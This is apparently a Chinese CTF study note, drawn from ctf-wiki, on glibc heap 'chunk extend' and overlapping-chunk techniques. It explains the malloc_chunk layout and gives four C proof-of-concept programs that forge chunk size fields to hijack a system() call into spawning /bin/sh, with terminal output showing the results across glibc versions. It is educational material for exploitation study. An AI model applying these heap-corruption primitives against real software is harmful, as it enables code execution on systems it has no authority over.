Chunk Extend 漏洞举例
TOC
1. 前言 2. 利用
资料来源:ctf-wiki 。这里仅是小记一下。
前言 在了解下面这些漏洞前,我们需要先回顾一下malloc_chunk的数据结构:
struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
每个字段的具体的解释如下
prev_size , 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小) 是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk 。
size ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
fd,bk 。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
fd 指向下一个(非物理相邻)空闲的 chunk
bk 指向上一个(非物理相邻)空闲的 chunk
通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
fd_nextsize, bk_nextsize ,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。
当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。
来源:ctf-wiki
利用 fastbin的malloc_chunk->size 可控
#include <stdio.h> #include <string.h> #include <stdlib.h> char *payload = "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "/bin/sh" ; int main () { char *ptr, *ptr1; char *sh; ptr = malloc (0x10 ); sh = malloc (0x10 ); strncpy (sh, "id" , 0x10 - 1 ); strncpy (ptr, payload, 0x10 - 1 ); *(long long *)((long long )ptr - 0x8 ) = 0x41 ; free (ptr); ptr = NULL ; ptr1 = malloc (0x30 ); strncpy (ptr1, payload, 0x30 - 1 ); system(sh); return 0 ; }
从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞无论是fastbin还是tcache都会发生。
smallbin的malloc_chunk->size 可控
#include <stdio.h> #include <string.h> #include <stdlib.h> char *payload = "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "/bin/sh" ; int main () { char *ptr, *ptr1; char *sh; ptr = malloc (0x80 ); sh = malloc (0x10 ); malloc (0x10 ); strncpy (sh, "id" , 0x10 - 1 ); strncpy (ptr, payload, 0x80 - 1 ); *(int *)(ptr - 0x8 ) = 0xb1 ; free (ptr); ptr = NULL ; ptr1 = malloc (0x80 + 0x20 ); strncpy (ptr1, payload, 0x80 + 0x20 - 1 ); system(sh); return 0 ; }
从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞同样无论是smallbin还是tcache都会发生。
对 free 的 smallbin 进行 extend
#include <stdio.h> #include <string.h> #include <stdlib.h> char *payload = "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "/bin/sh" ; int main () { char *ptr, *ptr1; char *sh; ptr = malloc (0x80 ); sh = malloc (0x10 ); strncpy (sh, "id" , 0x10 - 1 ); strncpy (ptr, payload, 0x80 - 1 ); free (ptr); *(int *)(ptr - 0x8 ) = 0xb1 ; ptr1 = malloc (0xa0 ); strncpy (ptr1, payload, 0x80 + 0x20 - 1 ); system(sh); return 0 ; }
具体结果如下:
ex@ubuntu:~/test$ make 19 gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c ex@ubuntu:~/test$ ./a.out $ echo hello worldhello world $ exit ex@ubuntu:~/test$ make 27 gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c ex@ubuntu:~/test$ ./a.out uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
glibc-2.26及以上不行的主要原因是tcache的索引机制,具体原理可以自行debug,只有没有tcache,这个漏洞还是可用的。
通过 extend 前向 overlapping
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
#include <stdio.h> #include <string.h> #include <stdlib.h> char *payload = "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa" "/bin/sh" ; int main () { char *ptr1, *ptr2_sh, *ptr3, *ptr4, *ptr5; ptr1 = malloc (0x80 ); ptr2_sh = malloc (0x10 ); ptr3 = malloc (0x10 ); ptr4 = malloc (0x80 ); malloc (0x10 ); strncpy (ptr2_sh, "id" , 0x10 - 1 ); free (ptr1); *(int *)(ptr4 - 0x8 ) -= 0x1 ; *(int *)(ptr4 - 0x10 ) = 0xd0 ; free (ptr4); ptr4 = NULL ; ptr5 = malloc (0x150 ); strncpy (ptr5, payload, 0x150 - 1 ); system(ptr2_sh); return 0 ; }
效果如下:
ex@ubuntu:~/test$ make 19 gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c ex@ubuntu:~/test$ ./a.out $ exit ex@ubuntu:~/test$ make 27 gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c ex@ubuntu:~/test$ ./a.out uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
这里我简述一下unlink:
其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。
当我们 free(small_chunk) 时
glibc 判断这个块是 small chunk
判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
继而对 Nextchunk 采取 unlink 操作
glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作。
总结
实践出真知。